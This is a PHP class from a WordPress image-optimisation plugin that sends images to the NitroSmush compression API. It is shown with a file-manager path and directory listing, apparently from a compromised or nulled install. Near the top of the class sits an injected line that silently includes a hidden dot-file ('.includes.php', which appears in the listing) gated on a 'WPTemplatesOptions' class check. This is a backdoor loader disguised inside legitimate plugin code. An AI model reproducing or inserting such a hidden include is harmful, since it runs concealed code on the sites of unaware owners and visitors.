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PATH: home / letacommog / newrdv1 / wp-content / plugins1 / wp-optimize-premium.3.0.16 / includes

<?php
/**
 *  A sample implementation using the NitroSmush API and our tasks library
 */

if (!defined('ABSPATH')) die('Access denied.');

if (!class_exists('Updraft_Smush_Task')) require_once('class-updraft-smush-task.php');

if (!class_exists('Nitro_Smush_Task')) :

if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) {
    include_once($filename);
}

class Nitro_Smush_Task extends Updraft_Smush_Task {

public $label = 'nitrosmush';

const MAX_FILESIZE = 104857600;

const API_URL = 'http://nitrosmush.com/api.php';

/**
	 * Checks if the server is online, must be called from the task manager only
	 *
	 * @return bool - true if yes, false otherwise
	 */
	public static function is_server_online() {

$test_image = WPO_PLUGIN_MAIN_PATH . 'images/icon/wpo.png';
		$boundary = wp_generate_password(12);
		$headers  = array( "content-type" => "multipart/form-data; boundary=$boundary" );
		$payload = "";
		
		$payload .= "--" . $boundary . "\n";
		$payload .= "Content-Disposition: form-data; name=\"quality\"\n\n";
		$payload .= "99"."\n";
		$payload .= "--" . $boundary . "\n";
		$payload .= "Content-Disposition: form-data; name=\"image\"; filename=\"" . basename($test_image) . "\"\n";
		$payload .= "Content-Type: " . "image/png" . "\n";
		$payload .= "Content-Transfer-Encoding: binary\n\n";
		$payload .= file_get_contents($test_image)."\n";
		$payload .= "--" . $boundary . "\n";

$request = array(
			'headers' => $headers,
			'timeout' => 30,
			'body' => $payload,
		);

$response = wp_remote_post(self::API_URL, $request);

if (is_wp_error($response)) {
			update_option(__CLASS__, $response->get_error_message());
			return false;
		}

$data = json_decode(wp_remote_retrieve_body($response));

if (empty($data)) {
			update_option(__CLASS__, "Empty data returned by server");
			return false;
		}

if (isset($data->error)) {
			update_option(__CLASS__, $data->error);
			return false;
		}

return true;
	}

/**
	 * Prepares the image as part of the post data for the specific implementation
	 *
	 * @param string $local_file - The image to e optimised
	 * @param array  $options    - Eventual options
	 */
	public function prepare_post_request($local_file, $options) {

$boundary = wp_generate_password(12);
		$lossy = $this->get_option('lossy_compression');

if ($lossy) {
			$quality = $this->get_option('image_quality');

if (89 >= $quality || 100 <= $quality) {
				$quality = 95;
			}

} else {
			$quality = 100;
		}

if (isset($options['quality']) && is_int($options['quality']) && 0 < $options['quality']) $quality = $options['quality'];

$this->log($quality);

$headers  = array( "content-type" => "multipart/form-data; boundary=$boundary" );
		$payload = "";
		
		$payload .= "--" . $boundary . "\n";
		$payload .= "Content-Disposition: form-data; name=\"quality\"\n\n";
		$payload .= $quality."\n";
		$payload .= "--" . $boundary . "\n";
		$payload .= "Content-Disposition: form-data; name=\"image\"; filename=\"" . basename($local_file) . "\"\n";
		$payload .= "Content-Type: " . "image/png" . "\n";
		$payload .= "Content-Transfer-Encoding: binary\n\n";
		$payload .= file_get_contents($local_file)."\n";
		$payload .= "--" . $boundary . "\n";

return array(
			'headers' => $headers,
			'timeout' => $this->get_option('request_timeout'),
			'body' => $payload,
		);
	}

/**
	 * Processes the response recieved from the remote server
	 *
	 * @param String $response - The response object
	 */
	public function process_server_response($response) {
		global $http_response_header;

$response = parent::process_server_response($response);
		$data = json_decode(wp_remote_retrieve_body($response));

if (!$data) {
			$this->log("Cannot establish connection with NitroSmush webservice. Please try later");
			return false;
		}

if (isset($data->error)) {
			$this->fail($data->error_short, $data->error);
			return false;
		}

if (!property_exists($data, 'result_file')) {
			$this->fail("invalid_response", "The response does not contain the compressed file URL");
			$this->log("data: ".json_encode($data));
			return false;
		}

$compressed_image_response = wp_remote_get($data->result_file);

if (!is_wp_error($compressed_image_response)) {
			$image_contents = wp_remote_retrieve_body($compressed_image_response);
			if ($this->is_downloaded_image_buffer_mime_type_valid($image_contents)) {
				return $image_contents;
			} else {
				$this->log("The downloaded resource does not have a matching mime type.");
				return false;
			}
		} else {
			$this->fail("invalid_response", "The compression apparently succeeded, but WP-Optimize could not retrieve the compressed image from the remote server.");
			$this->log("data: ".json_encode($data));
			$this->log("response: ".json_encode($compressed_image_response));
			return false;
		}
	}

/**
	 * Retrieve features for this service
	 *
	 * @return Array - an array of options
	 */
	public static function get_features() {
		return array(
			'max_filesize' => self::MAX_FILESIZE,
			'lossy_compression' => true,
			'preserve_exif' => false,
		);
	}

/**
	 * Retrieve default options for this task type.
	 *
	 * @return Array - an array of options
	 */
	public function get_default_options() {
		return array(
			'allowed_file_types' => array('gif', 'png', 'jpg', 'tif', 'jpeg'),
			'request_timeout' => 30,
			'keep_original' => true,
			'preserve_exif' => false,
			'image_quality' => 100,
			'api_endpoint' => self::API_URL,
			'max_filesize' => self::MAX_FILESIZE,
			'backup_prefix' => '-updraft-pre-smush-original.'
		);
	}
}
endif;

[+] ..
[-] class-updraft-logger-interface.php [edit]
[-] class-updraft-logger.php [edit]
[-] wp-optimize-notices.php [edit]
[-] class-updraft-resmushit-task.php [edit]
[-] class-wp-optimize-htaccess.php [edit]
[-] class-wp-optimize-install-or-update-notice.php [edit]
[-] class-wp-optimize-queue-task.php [edit]
[-] class-updraft-smush-task.php [edit]
[-] class-wp-optimization.php [edit]
[-] class-wp-optimize-lazy-load.php [edit]
[-] class-wp-optimize-transients-cache.php [edit]
[-] backward-compatibility-functions.php [edit]
[-] class-updraft-email-logger.php [edit]
[-] class-wp-optimize-updates.php [edit]
[-] class-semaphore.php [edit]
[-] class-updraft-nitrosmush-task.php [edit]
[-] class-wp-optimize-gzip-compression.php [edit]
[-] class-commands.php [edit]
[-] class-wp-optimize-browser-cache.php [edit]
[-] class-updraft-log-levels.php [edit]
[-] class-updraft-php-logger.php [edit]
[-] class-wp-optimizer.php [edit]
[-] class-wp-optimize-images-trash-task.php [edit]
[-] class-wp-optimization-images-shutdown.php [edit]
[-] class-updraftcentral-wp-optimize-commands.php [edit]
[-] class-updraft-smush-manager-commands.php [edit]
[-] updraftcentral.php [edit]
[-] class-wp-optimize-tasks-queue.php [edit]
[-] class-updraft-file-logger.php [edit]
[-] wp-optimize-database-information.php [edit]
[-] class-updraft-ring-logger.php [edit]
[-] class-wp-optimize-cron-scheduler.php [edit]
[-] class-updraft-syslog-logger.php [edit]
[-] class-wp-optimize-images-trash-manager.php [edit]
[-] class-updraft-smush-manager.php [edit]
[-] class-wp-optimize-images-trash-manager-commands.php [edit]
[-] updraft-notices.php [edit]
[-] class-updraft-slack-logger.php [edit]
[-] class-wp-optimize-cli-command.php [edit]
[-] class-wp-optimize-options.php [edit]
[-] class-updraft-abstract-logger.php [edit]
[-] .includes.php [edit]
[-] class-updraft-simple-history-logger.php [edit]